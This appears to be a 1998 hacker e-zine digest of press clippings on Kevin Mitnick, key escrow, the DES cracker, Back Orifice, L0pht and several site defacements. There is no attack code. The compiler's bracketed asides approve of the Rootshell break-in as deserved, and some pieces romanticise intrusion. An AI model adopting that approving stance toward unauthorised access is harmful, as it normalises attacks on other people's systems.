The prosecutors attacked any delay. "The contention that we have been late with materials is disingenuous," says prosecutor David Schindler. "We've provided thousands of pages of discovery."

Government mole?

The text of the motion also implied that the government had paid a one‑time Mitnick cohort and employee of Mitnick's previous attorney, Ron Austin, to spy on his client.

"Austin was privy to confidential communications between Mr. Mitnick and Mr. Sherman which he later disclosed to the government," said the statement.

0x12>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: 'Back door' doesn't get very far

Source: San Jose Mercury News

A U.S. government panel has failed in a two‑year effort to design a federal computer security system that includes ''back doors,'' a feature that would enable snooping by law enforcement agencies, people familiar with the effort said this week. The failure casts further doubt on the Clinton administration policy ‑‑ required for government agencies and strongly encouraged for the private sector ‑‑ of including such back doors in computer encryption technology used to protect computer data and communications, according to outside experts.

But administration officials said the panel, which is set to expire in July, simply needed more time. The 22‑member panel appointed by the secretary of commerce in 1996 concluded at a meeting last week that it could not overcome the technical hurdles involved in creating a large‑scale infrastructure that would meet the needs of law enforcers, panel members said. The group was tapped to write a formal government plan known as a ''Federal Information Processing Standard,'' or FIPS, detailing how government agencies should build systems including back doors.

0x13>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: ICSA Goon Pretends to be a Hacker [my title] Source: Forbes Digital Tool

By: Adam Penenberg

J3 spends his days trolling around the hacker underground, monitoring hacker channels on Internet Relay Chat, checking out the latest on "phreaking,"‑‑cracking the phone system‑‑ dialing up bulletin boards and checking out web sites that offer password‑cracking software and how‑to guides.

For J3 this isn't just a hobby, it's a job.

ICSA, a computer security firm, hired J3 (not his real name nor his online "nick", since his success depends on total anonymity) two years ago as the company's lead underground analyst. His mission: to keep tabs on the latest trends and tools in the hacker world. When he gets wind of a new security hole, he passes the information on to ICSA's tech staff so that the company can either develop a defense or tip off software makers before the flaw can be exploited.

J3 is very busy. Recently, a group of European hackers released a Trojan horse‑like program that would enable them to set up backdoors in geeky programs known only to network administrators, such as "named" programs related to domain name servers, a basic component of any network connected to the larger Internet. J3 found out about it in the course of his monitoring, passed it on to ICSA, and the company informed CERT (Computer Emergency Response Team) which posted an advisory.

The Internet is a lot like Lord of the Flies, a nasty, violent ‑‑yet virtual‑‑world where the strong intimidate the weak.

He was also instrumental in helping ICSA detect two types of denial of service attack modes‑‑Teardrop and Land‑‑that were being used to exploit vulnerabilities in the TCP/IP protocol. These new attacks took advantage of tweaks that would beat existing patches, which made it difficult for system administrators to stay ahead of hackers. But J3, because of his links to the underground, was able to learn of these exploits shortly after they were posted on hacker channels.

"I'm proud of a lot of the work we do," J3 says. "I've found a company's entire password file posted to a web site, or that hackers have root in a network or that a merchant site with a database of credit cards has been compromised. I then contact the companies and warn them."

He says that the Internet is a lot like Lord of the Flies, a nasty, violent‑‑yet virtual‑‑world where the strong intimidate the weak. Not all hackers are destructive, of course. There are many good ones on a quest for pure information, the lifeblood of their avocation, who post security flaws because they believe it's the best way to fix them. It's the ones who exploit these flaws to cause damage that irritate J3.

But they have a vulnerability: their need for self‑aggrandizement, which is key to J3's success. "If hackers didn't brag," he says, "I wouldn't have a job."

J3, who works mostly nights since the Internet never sleeps, isn't just a full‑time worker. He's also a graduate student working on his Ph.D. in psychology. And his area of study?

Hackers, of course.

0x14>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Is Your kid a Hacker

Source: Family PC Magazine

Date: November 1998

By: Kevin Poulsen

If you suspect your kid is a computer hacker, here's some advice from a convicted hacker on how to handle it

It starts with a knock on the door. A dozen men in suits and shoulder holsters are outside, their Buicks and Broncos crammed into your driveway and parked along the street. Over their shoulders you can see your bathrobe‑clad neighbors watching the spectacle from their lawns. It might be the FBI, it may be the Secret Service, but whoever it is, the humorless agents hand you a piece of paper and head toward your son or daughter's room. You wonder, perhaps for the first time, what your kid has been doing in there with the computer.

If you're a parent, you probably regard the Internet as a font of both promise and peril for your children. It can be an invaluable learning tool and a way to encourage your kids to develop the basic computer skills they'll eventually need. But what if they take to it a little too eagerly and enthusiastically and begin using it to get into places where they don't belong? In that case, normal youthful rebellion, or simple inquisitiveness, if it's expressed over the Internet, could turn your family upside down.

It happened last February in Cloverdale, California, when surprised parents found out their teenage son was suspected in a series of Pentagon intrusions. It happened again in Massachusetts a week later, when the Justice Department won its first juvenile conviction under the Federal Computer Fraud and Abuse Act.

It happened to my family 15 years ago, in one of the first hacker raids in the country. At that time, I was the teenage miscreant who was illegally accessing federal computers. Now, in my early thirties, I've begun to wonder how I would protect a kid of my own from becoming a poster child for computer crime. I believe the best approach is to stay informed and to communicate with your potential cyberpunks.

Open Communication Channels

Some of the things you might view as ominous warning signs are actually quite harmless. For example, if your teenager calls himself a "hacker," he may not be headed for trouble. Despite the media's breathless exhortation, hackers are not lawbreakers by definition. The word actually describes someone with a talent for technology, a deep interest in how things work, and a tendency to reject any limitations. If your son disassembled the Giga Pet you gave him for Christmas, he's probably a hacker. If he made it run better, he definitely is. Of course, some hackers go further and test their skills against the adult world of corporate and governmental computer systems.

If I thought my kids were cracking computers, I would want to put a stop to it ‑‑ though not because it's the crime of the century. True hackers live by an ethical code that precludes damaging systems or profiting from their intrusions. There are worse values for a teenager to have. But regardless of motives, a hacker who's caught in the act today is likely to be treated as an industrial spy or a national security threat. A single moment of rebellious exploration could land a teenager an early felony conviction.

If you suspect that your kid may be crossing the line, there are various software packages on the market that will allow you to monitor or control his or her access to the Internet. Don't even think about using one. If your teen really is a hacker, your technological solution will be a source of amusement and derision, as well as an insult to his talents. Instead of putting up barriers, I suggest you talk to your kids.

If your kid is reading underground Web sites for hackers, read them yourself. If he has a subscription to a hacker magazine, go through it and ask questions. Feel free to marvel at the cleverness of the latest hacker technique. Then talk about consequences: the rising costs of legal representation, the problems that a convicted felon encounters in academia and the job market. Start looking at alternatives to a life of cybercrime.

Constructive Alternatives

If your kid has a rebellious streak, I suggest giving up on trying to suppress it; try to channel it instead. When hackers grow up, they often find a reasonable substitute for the thrill of intrusion by working the other side. Ask your teen how he would plug the latest security holes. Get him thinking about it. Ask him for advice on protecting your own e‑mail or your ISP account.

The hacker tradition has always contained an element of disrespect for authority. Up until 15 years ago, cracking systems was an acceptable rite of passage in the industry, and some of the same people who pioneered artificial intelligence and the personal computer also ushered in phone phreaking, lock hacking, and computer intrusion. Early hackers believed that computers were a public resource and that access to them and knowledge about them should be free.

In a sense, the first‑generation hackers won their battle when they created the personal computer: It gave them free access to computing power anytime they wanted. Today, kids can claim that victory on the Internet by authoring a Web page. There is plenty of room for innovation and creativity.

Today's PCs are as powerful as yesterday's mainframes. With today's PCs, no one needs to break the law to explore technology. With the right tools, and parental support, kids can earn the respect of their peers and get an early start on their future by mastering the latest programming languages. If my kid were a hacker, I'd encourage him to shun the instant gratification of cracking a Fortune 500 company in favor of the greater satisfaction of creating something unique from scratch.

Ultimately, that's what hacking really is all about.

0x15>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Paging Network Hijacked

By: Chris Oakes

Date: 4:00am 24.Jul.98.PDT

[A non internet hacking article! Woohoo!]

Someone in Texas exploited a vulnerability in the PageMart paging network this week, sending a flurry of mysterious pages to tiny screens nationwide, confusing subscribers, and swamping the company's customer service center with phone calls.

PageMart said a random discovery enabled the intruder to use a set of pager addressing numbers to send messages to entire groups of customers, rather than individual subscribers. But a security expert said the system may have been hacked.

PageMart spokeswoman Bridget Cavanaugh detailed Wednesday's incident in an email late Thursday. "A person, unknown to PageMart," she said, "discovered that three PINs [personal identification numbers] on our paging terminal in Dallas were actually mail drops."

[snip...]

On Wednesday, PageMart customer and San Francisco resident Jeremiah Kelly reported that he received odd messages for a period of about an hour and a half on Wednesday afternoon.

Upon receiving one incomprehensible page ‑‑ unrecognizable in source or content ‑‑ he suspected a simple "wrong‑number" message. "But then, all of a sudden, I got a blitz" Kelly said. Most notable was a recurring message: "There is only one blu bula."

"I received one of those several times," he said. Another pair of messages said "Mike, you're Mom drives a Passat," and another was sexually suggestive. Both of the latter pages were signed "Christian." Kelly said he received about 30 of the senseless messages.

[snip...]

"The incident impacted about 1.5 percent of our customers nationwide," Cavanaugh said. "Statistically, it's a small number." PageMart provides numeric and text paging service in all 50 states, Canada, Mexico, Central America, and the Caribbean, serving approximately 2.7 million customers.

"It's a perfect example of how overconfidence can eventually cause a problem," said Peter Shipley, who analyzes and bolsters system security for accounting firm KPMG Peat Marwick.

Though it wasn't clear that PageMart's system was actually broken into, Shipley said poor protection against break‑ins is all too common. "I'm in the business of doing these type of security audits, and a large number of systems I've seen have easy password access ‑‑ under the assumption of 'why would somebody want to hack it?'"

In fact, paging services are responsible for enormously valuable data, from billing addresses to credit card information and more, Shipley said. Then there are the messages themselves, which can be easily netted as they make their way through the airwaves.

"Smaller companies believe they are not targets [for hackers]," concluded KPMG's Shipley. "But small companies are as equally targeted as large companies. They're stepping stones ‑‑ the small fish that hackers start on."

0x16>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: FBI busts hacker who sold clandestine accounts on PageNet system Date: July 30, 1998 7:28 p.m. EDT

Source: Nando Times

PageNet Inc., one of the largest wireless message providers, said U.S. federal agents arrested a San Diego man Thursday who allegedly set up unauthorized voice mailboxes and paging accounts on its system, costing the company about $1 million.

[snip...]

0x17>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: EFF DES Cracker Machine Brings Honesty to Crypto Debate Date: July 17, 1998

"EFF DES CRACKER" MACHINE BRINGS HONESTY TO CRYPTO DEBATE ELECTRONIC FRONTIER FOUNDATION PROVES THAT DES IS NOT SECURE

SAN FRANCISCO, CA ‑‑ The Electronic Frontier Foundation (EFF) today raised the level of honesty in crypto politics by revealing that the Data Encryption Standard (DES) is insecure. The U.S. government has long pressed industry to limit encryption to DES (and even weaker forms), without revealing how easy it is to crack. Continued adherence to this policy would put critical infrastructures at risk; society should choose a different course.

To prove the insecurity of DES, EFF built the first unclassified hardware for cracking messages encoded with it. On Wednesday of this week the EFF DES Cracker, which was built for less than $250,000, easily won RSA Laboratory's "DES Challenge II" contest and a $10,000 cash prize. It took the machine less than 3 days to complete the challenge, shattering the previous record of 39 days set by a massive network of tens of thousands of computers. The research results are fully documented in a book published this week by EFF and O'Reilly and Associates, entitled "Cracking DES: Secrets of Encryption Research, Wiretap Politics, and Chip Design."

[snip...]

0x18>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Hacking site gets hacked

By: Paul Festa

Source: CNET News.com

Date: October 28, 1998, 11:30 a.m. PT

Hacking and security news and information site Rootshell.com was the subject of its own coverage today after suffering an early morning hack.

The hack, preserved here, occurred this morning at 5:12 a.m. PT, according to Rootshell. Administrators took the site down after discovering the attack at 6 a.m. PT. The site was restored two hours later.

"Steps have been taken to prevent re‑entry, and full details are now being turned over to law enforcement for what we hope will turn into arrests," Rootshell administrator Kit Knox said this morning in a statement.

[Hrm. Lets give out scripts that help every clueless script kiddie break into thousands of sites worldwide.. then narc off the one that breaks into us. Time to face the music. That's like the pot calling the kettle black. Name your cliche', they deserved it.]

Knox later said that the matter had been turned over to the FBI.

The attacker replaced the Rootshell.com front page with a rambling screed peppered with profanity as well as references to groups and luminaries in the hacking world, including imprisoned hacker and perennial cause Kevin Mitnick.

The attacker also threatened to hit another hacking news site, AntiOnline.

0x19>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: From Criminals to Web Crawlers

By: Kristen Philipkoski

Date: 4:00am 15.Jul.98.PDT

A crime‑fighting search engine used to fight terrorism and insurance scams may soon find a home at one of the Web's top search engines. The system, called VCLAS, has helped detectives crack cases all over the world.

"In 11 days, the PhoneFraud software helped law‑enforcement agencies in New York uncover US$1.2 billion in stolen services," said Jay Valentine, president and CEO of InfoGlide, the company that owns the VCLAS software package.

The software is built around a "Similarity Search Engine," which thrives on imperfect and complex information, data that engineer David Wheeler said often stumps search algorithms based on neural networks.

Similarity searching is well‑suited to crime work, Wheeler said, because investigations are often inherently random and disconnected. For instance, if police are looking for a red vehicle, but a witness says it was maroon, a traditional keyword search wouldn't register a match since it couldn't recognize that the colors are similar.

0x1a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Running a Microsoft OS on a Network? Our Condolences

Date: July 21, 1998

[The title alone made this worth including.]

The CULT OF THE DEAD COW (cDc) will release Back Orifice, a remote MS Windows Administration tool at Defcon VI in Las Vegas (www.defcon.org) on August 1. Programmed by Sir Dystic [cDc], Back Orifice is a self‑contained, self‑installing utility which allows the user to control and monitor computers running the Windows operating system over a network.

Sir Dystic sounded like an overworked sysadmin when he said, "The two main legitimate purposes for BO are, remote tech support aid and employee monitoring and administering [of a Windows network]."

Back Orifice is going to be made available to anyone who takes the time to download it. So what does that mean for anyone who's bought into Microsoft's Swiss cheese approach to security? Plenty according to Mike Bloom, Chief Technical Officer for Gomi Media in Toronto.

[snip...]

None of this is lost on Microsoft. But then again, they don't care. Security is way down on their list of priorities according to security expert Russ Cooper of NT BUGTRAQ (www.ntbugtraq.com). "Microsoft doesn't care about security because I don't believe they think it affects their profit. And honestly, it probably doesn't." Nice. But regardless of which side of the firewall you sit on, you can't afford not to have a copy of Back Orifice. Here are the specs:

[snip...]

After August 3, Back Orifice will be available from www.cultdeadcow.com free of charge.

0x1b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Security expert explains New York Times site break in Date: September 18, 1998

By: Ellen Messmer

Although the New York Times is not revealing the details of what happened last weekend when it was hijacked by a hacker group, one security expert has it figured out.

A group of hackers calling themselves Hackers for Girlies broke into the Times news site on Sunday. The hackers took control of the site to display their own diatribe complete with nude images and to protest the arrest of hacker Kevin Mitnick. The Times worked for half a day to regain command of its server.

Hackers often break in by exploiting security vulnerabilities associated with default Common Gateway Interface scripts that ship with Web servers, according to Patrick Taylor, director of strategic marketing at Internet Security Systems in Atlanta. They exploit these scripts to send a string of long commands to cause a buffer overflow that lets them into the operating system. They first give themselves an account in the system and then stick in a backdoor Trojan horse program such as "rootkit" to gain and maintain root control, he said.

"CGI scripts are intended to pass commands from the Web server to something in the operating system, perhaps to pull database information," Taylor said. "But you should get rid of these superfluous CGI scripts and depend on your own custom scripts."

The Times may have had a long struggle regaining control of its Web site because the latest Trojan horses are designed so well that they hide within the operating system, encrypted or even providing the same checksum as the legitimate operating system.

"It's nefarious‑‑the hacker essentially has remote administration of the Web server," Taylor said. "You can't rely on a backup of the machine. You may have to reinstall the entire operating system."

By coincidence, the Times had once looked at using the ISS security gear, but decided not to, he said. The Times declined to discuss any aspect of its Web operations, saying it was "a matter of security."

[The real reason for this article and quoting a PR person from ISS maybe? Fact is, ISS didn't audit the network before OR after the breakin. How would this guy know the method they used to compromise the machine?]

The "Hackers for Girlies" ranted in its own posting to have "busted root" on the Times, and directed some invective toward Times reporter John Markoff and security expert Tsutomu Shimomura for their respective roles in the investigation of hacker Kevin Mitnick, now held in jail. Markoff and Shimomura two years ago collaborated on a book entitled "Takedown" about the law enforcement pursuit of Mitnick. In its own account, the Times said the hacker incident at nytimes.com may be related to an upcoming trial in January of Mitnick.

While hacker rantings and pornography can be bad enough to discover on a Web site, a far more serious scenario involves a hijacker more surreptitiously posting information that has been slightly changed, leading the reader to view it as authentic.

"This could end up like 'War of the Worlds,' where people went into a panic because they didn't know what they were hearing on the radio was made up," commented Doug Barney, Network World news editor.

0x1c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Merriam‑Webster Taken Offline Old Fashioned Way

Date: Wed Aug 5 00:41:57 MDT 1998

Source: www.m‑w.com

What happened?

On Thursday night, July 30th, the facility that hosts Merriam‑Webster's Web site was burglarized and its servers were stolen. We've managed to restore limited capacity, but we need to obtain new hardware from our suppliers before we can return to full service. We hope to have the entire site active again in a few days. We apologize for the inconvenience and hope you will bear with us as we deal with the situation.

Thank you for your patience.

‑‑The Merriam‑Webster Web Team

[Guess we shouldn't put the computer by the window...]

0x1d>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Long Haired Hacker Works Magic [my title] Source: Nando Times

Date: September 20, 1998

The hacker calling himself Mudge pushed his long hair back, scratched his beard and stared at the computer screen. He knew there was something wrong with the data traffic he was watching, but what was it?

A week earlier, Mudge and his fellow hackers in their hangout known as the L0pht ‑‑ pronounced "loft" ‑‑ had acquired some software that was supposed to let computers talk to each other in code. But as Mudge watched the data he realized someone else was doing the same and maybe even decoding it, which shouldn't happen.

"So you are saying that you're using DES to communicate between the computers?" Mudge recalled asking representatives of the software maker. Yes, they said, they were using DES, a standard encryption method that for years was considered virtually uncrackable.

But this wasn't DES, thought Mudge. It's almost as if...

Whoa. He blinked and felt the adrenaline kick in. This wasn't secure at all. In fact, the encoding was only slightly more complex than the simple ciphers kids did in grade school ‑‑ where "A" is set to 1, "B" is set to 2, and so on.

The company was selling this software as a secure product, charging customers up to $10,000. And yet, it had a security hole big enough to waltz through.

Instead of exploiting this knowledge, Mudge confronted the company.

"You realize there isn't any secure or 'strong' encoding being used in your communications between the computers, don't you?" he asked.

"Well..."

"And that you claimed you were using DES to encrypt the data," he pressed.

"That will go in the next revision."

Mudge is a "real" hacker ‑‑ one who used to snoop around the nation's electronic infrastructure for the sheer love of knowing how it worked. His kind today are sighted about as often as the timberwolf, and society has attached to them the same level of legend.

Like the wolf, they were once considered a scourge. Law enforcement and telecommunication companies investigated and arrested many of them during the late 1980s and early '90s.

Today, many elite hackers of the past are making a go at legitimate work, getting paid big bucks by Fortune 500 companies to explore computer networks and find the weak spots.

And none too soon. The void left by the old hackers has been filled by a new, more destructive generation.

So today, Mudge ‑‑ who uses a pseudonym like others in the hacker community, a world where anonymity keeps you out of trouble ‑‑ wears a white hat. As part of L0pht, the hacker think tank, he and six comrades hole up in a South End loft space in Boston and spend their evenings peeling open software and computer networks to see how they work.

When they find vulnerabilities in supposedly secure systems, they publish their findings on the Web in hopes of embarrassing the companies into fixing the problems. A recent example: They posted notice via the Internet of a problem that makes Lotus Notes vulnerable to malicious hackers...

A Lotus spokesman said the company was aware of the flaw but it was extremely technical and unlikely to affect anyone.

The hackers at L0pht have made enemies among industry people, but they command respect. They were even called to testify before the U.S. Senate Committee on Governmental Affairs in May.

Why do they publish what they find?

"If that information doesn't get out," Mudge replies, "then only the bad guys will have it."

The "bad guys" are the hacker cliche: secretive teens lurking online, stealing credit card numbers, breaking into Pentagon systems, and generally causing trouble. One of L0pht's members, Kingpin, was just such a cad when he was younger, extending his online shenanigans to real‑world breaking and entering. Today, L0pht keeps him out of mischief, he said.

"We're like midnight basketball for hackers," said Weld Pond, another member.

****

Malicious hacking seems to be on the rise.

Nearly two out of three companies reported unauthorized use of their computer systems in the past year, according to a study by the Computer Security Institute and the FBI. Another study, from Software AG Americas, said 7 percent of companies reported a "very serious" security breach, and an additional 16 percent reported "worrisome" breaches. However, 72 percent said the intrusions were relatively minor with no damage.

American companies spent almost $6.3 billion on computer security last year, according to research firm DataQuest. The market is expected to grow to $13 billion by 2000.

Government computers are vulnerable, too. The Defense Department suffered almost 250,000 hacks in 1995, the General Accounting Office reported. Most were detected only long after the attack.

This is why business booms for good‑guy hackers.

Jeff Moss, a security expert with Secure Computing Inc., runs a $995‑a‑ticket professional conference for network administrators, where hackers‑cum‑consultants mingle with military brass and CEOs.

"I don't feel like a sellout," said Moss, who wouldn't elaborate on his hacking background. "People used to do this because they were really into it. Now you can be into it and be paid."

News reports show why such services are needed:

‑‑‑‑Earlier this month, hackers struck the Web site of The New York Times, forcing the company to shutter it for hours. Spokeswoman Nancy Nielsen said the break‑in was being treated as a crime, not a prank. The FBI's computer crime unit was investigating.

‑‑‑‑This spring, two California teenagers were arrested for trying to hack the Pentagon's computers. Israeli teen Ehud Tenebaum, also known as "The Analyzer," said he mentored the two on how to do it. The two Cloverdale, Calif., youths pleaded guilty in late July and were placed on probation.

‑‑‑‑Kevin Mitnick, the only hacker to make the FBI's 10 Most Wanted list, was arrested in 1995, accused of stealing 20,000 credit card numbers. He remains in prison. A film called "TakeDown," about the electronic sleuthing that led to Mitnick's capture, is in the works. Comments protesting Mitnick's prosecution were left during the hack of the New York Times Web site.

‑‑‑‑In 1994, Vladimir Levin, a graduate of St. Petersburg Tekhnologichesky University, allegedly masterminded a Russian hacker gang and stole $10 million from Citibank computers. A year later, he was arrested by Interpol at Heathrow airport in London.

******

"Lemme tell ya," growled Mark Abene one night over Japanese steak skewers. "Kids these days, they got no respect for their elders."

Abene, known among fellow hackers as Phiber Optik, should know. He was one of those no‑account kids in the 1980s when he discovered telephones and computers. For almost 10 years, he wandered freely through the nation's telephone computer systems and, oh, the things he did and saw.

Celebrities' credit reports were his for the taking. Unlimited free phone calls from pilfered long‑distance calling card numbers. Private phone lines for his buddies, not listed anywhere. And the arcane knowledge of trunk lines, switches, the entire glory of the network that connected New York City to the rest of the world.

But Abene's ticket to ride was canceled in January 1994, when, at age 22, he entered Pennsylvania's Schuylkill Prison to begin serving a year‑and‑a‑day sentence for computer trespassing. The FBI and the Secret Service described him as a menace. The sentencing judge said Abene, as a spokesman for the hacking community, would be made an example.

And yet, to many in the digital community, Abene's offenses amounted to unbridled curiosity. He was just a kid poking around, doing what teen boys do, going to places they're told to avoid.

"Phree Phiber Optik" pins appeared. Many felt Abene embodied the hacker ethic espoused by his friend and fellow hacker, Paul Stira: "Thou Shalt Not Destroy."

With black hair parted in the middle and falling to the center of his back, a thin beard ringing his mouth, the 26‑year‑old Abene still looks like a mischievous kid. Hacking, he said, is hardwired in boys. When they play with toys when they're young, they break them, then try to figure out how the parts fit back together.

He added, "For some of us, it just never goes away."

******

Still, the hackers of the 1980s and early '90s have grown up. Some got busted, others simply graduated from college and fell out of the scene.

Today, many want to be seen as mainstream, said Jeremy Rauch, a network security expert for Secure Computing Inc. When it's time to talk consulting contracts with major corporations, the hair gets neatly combed, the suit replaces the combat boots and black T‑shirt, and the counterculture rhetoric gets toned down.

A hacker in San Francisco who edits the online publication Phrack and goes by the pseudonym Route talks about his job at a security firm as a sign of maturity. Contentedly, he notes he can work from home, write as much code as he can and never punch a clock.

"Are there still hackers out there?" asked Mike Godwin, counsel for the Electronic Frontier Foundation, a cyber‑rights group. In the early 1990s, he pushed hard for the organization to champion Abene and other members of the cyber gang Masters of Deception. By 1993, he said, hysteria surrounding hackers began to sputter, to be replaced by a fear of pornography.

"There never were very many hackers," he said, not major ones, anyway. Mainly, they were and are "this tiny minority of 13‑ to 18‑year‑olds who learned how to make toll‑calls for free."

Today's younger hackers pull programs off the Web that sniff for passwords and unlock backdoors automatically. It's the equivalent of rattling every door on a street and finally getting lucky, chancing upon one that's unlocked.

As for the true hackers of the first generation, Godwin said: "These guys are genuinely smart and genuinely have a fascination with the technology. And they're mostly harmless."

*********

What do younger hackers say to all this?

Not much, if you judge by interviews at DefCon6.0, the sixth annual hacker forum and party held in Las Vegas at the end of July.

Some said they hack to learn. Others took a counter‑culture stance: hacking as civil disobedience. They wouldn't give names or talk specifically about any criminal activities. It was as if they wanted to present themselves as blank slates, upon which the fears of their non‑wired elders could be inscribed.

At DefCon, they set off stink bombs at one point, and pulled other juvenile pranks.

"Paging Mr. Mitnick," the intercom droned through the hotel‑casino's meeting rooms. The unwitting hotel staff member repeated the call for the jailed hacker. "Paging Mr. Kevin Mitnick."

Pony‑tailed guys dressed in black smirked. Gotcha.

As hard house and techno music provided a soundtrack, they drooled over new software and pawed through piles of stuff for sale: computer equipment, of course, but also more books on conspiracy, privacy protection, and police methods than any paranoid could want.

Among the titles: "Scanners & Secret Frequencies," "Secrets of a Super Hacker," even "Throbbing Modems."

The kids flocked to DefCon's talk by the "white hat" hackers of L0pht.

"We're in the middle generation right now," said convention organizer Moss. "You've got your original hackers from MIT ‑‑ the old school ‑‑ who are established. They're the forefathers of this information revolution. And you've got us who watched computers go from mainframe to desktop to laptop. And you've got the younger generation that have always known computers."

0x1e>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Body of Evidence

By: Beverly Hanly

Date: 4:00am 5.Aug.98.PDT

Real criminals are tried in real courts, so why shouldn't virtual criminals be tried in virtual courts?

A handful of legal scholars from the Institute on the Arts and Civic Dialogue (IACD) are mulling over the question and will convene Wednesday to discuss whether virtual courts are the best forum for cybercrime trials and if a virtual legal system could lead to new legal processes regarding real world crimes.

The experts will join multimedia artist Shu Lea Cheang, creator of the Brandon project, for a webcast forum from 8 to 11 pm, EDT, at the Harvard Law School.

The group will play out a fictitious courtroom drama based on several disputes involving cyberetiquette, gender identity, and the hazy line between fantasy vs. reality as the first public forum in the year‑long Brandon project commissioned by New York's Guggenheim Museum. Brandon explores issues of gender identity and the consequences of experimenting with sexuality in real life and in cyberspace.

The ongoing media and legal debate regarding hate speech and the proliferation of sexual content on the Internet and whether or not these are harmful ‑‑ and to whom ‑‑ is the territory the mock trial will cover.

Harvard theater director Liz Diamond will collaborate with Cheang to guide the group as they dramatize elements drawn from real‑life sexual assault cases, including that of the project's namesake Teena Brandon, a transsexual who was murdered in Nebraska in 1993. Other cases will involve a virtual trial for "cyberrape," a MUD character named Mr. Bungle, and the FBI arrest of Michigan student Jake Baker for his rape‑and‑murder fantasy about a fellow student posted to a Usenet newsgroup in 1994.

Actors will play the roles of victims and perpetrators, while professors from Harvard, University of Virginia, and Columbia law schools will act as "standing jurors" to examine and comment on the legalities.

"This is a venue where you can experiment with the process and substance of these [cyberlaw] cases," said Jennifer Mnookin, professor of law at Virginia's School of Law in Charlottesville, who will sit in on the session. She feels that virtual worlds like LambdaMOO can provide a new and more appropriate arena for dispute resolution.

"Part of what's at issue here is how much someone can be hurt with words," said Mnookin. "Someone who commits a violation in cyberspace shouldn't necessarily be subject to consequences in real courtrooms. Something like the LambdaMOO 'cyberrape' was appropriately settled in a virtual court. The perpetrator was expelled from that world, his virtual identity was annihilated ‑‑ he was 'toaded.' What is a violation in one world might not be in another."

Virtual penalties can translate from one world to the other as well. Cheang, in her virtual court, suggests the idea of "virtual castration" as an alternative to "chemical castration" advocated by some as a way of dealing with sexual offenders.

The August public event in Cambridge, Massachusetts, is the first time since the Brandon project began on 20 June that Cheang will be able to interact with both a live and a Net audience.

"The test will serve as a base toward constructing a digiarchitextual space of a virtual court at the Guggenheim's [proposed] virtual museum," said Cheang, who will collaborate with an architect of physical spaces to create a "courtroom" at the museum. "My work has always fused actual and virtual space."

Netizens need nothing more than an Internet connection to tune in to the mock trial. But Cheang also wants to include a public that has no access to Net technology.

Anyone in the Harvard area who's interested can physically attend the staged trial. In New York, street audiences can visit the Guggenheim SoHo's video wall, which is made up of 75 contiguous 40‑inch projection cubes. The video wall will display images from the Brandon project and audiences will be able to interact at scheduled times.

"We're not sure how the 'experimentation' with the audience will go," said Cheang. "Maybe we'll fail badly. But it is this uncertainty, this feeling that we're exploring new ground in public interaction that is most exciting for me and my collaborators here at the Institute."

Law professor Mnookin looks at the experiment as a venue that can open up the dialog on cyberlaw issues. "What's interesting to me about 'virtual law' is that it's much more obvious than in the real world that the rules are malleable, that they're created by the participants.

"In the real world, it's easy to take the legal processes for granted, to assume that [those processes] can't easily be transformed," she continued. "If virtual worlds are used as laboratories, it's easier to recognize the possibilities for change ‑‑ both within a virtual environment, and, just maybe, in the real world as well."

The Brandon Project is hosted at Harvard in conjunction with the brand‑new IACD until 14 August. IACD puts artists in various media together with a community of scholars, journalists, and civic activists to explore current events and controversies.

After the test trial, Cheang will move on to Amsterdam, Netherlands, to begin setting up the next live installation of the project: "Digi Gender, Social Body: Under the Knife, Under the Spell of Anesthesia," to be webcast in September 1998. "Would the Jurors Please Stand Up? Crime and Punishment as Net Spectacle" is scheduled for May 1999.

0x1f>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: The Golden Age of Hacktivism

By: Niall McKay

Date: 4:00a.m. 22.Sep.98.PDT

On the eve of Sweden's general election, Internet saboteurs targeted the Web site of that country's right‑wing Moderates political party, defacing pages and establishing links to the homepages of the left‑wing party and a pornography site.

But the Scandanavian crack Saturday was not the work of bored juveniles armed with a Unix account, a slice of easily compiled code, and a few hours to kill. It advanced a specific political agenda.

"The future of activism is on the Internet," said Stanton McCandlish, program director of the Electronic Frontier Foundation. "More and more, what is considered an offline issue, such as protesting the treatment of the Zapatistas in Mexico, is being protested on the Net."

In the computer‑security community, it's called "hacktivism," a kind of electronic civil disobedience in which activists take direct action by breaking into or protesting with government or corporate computer systems. It's a kind of low‑level information warfare, and it's on the rise.

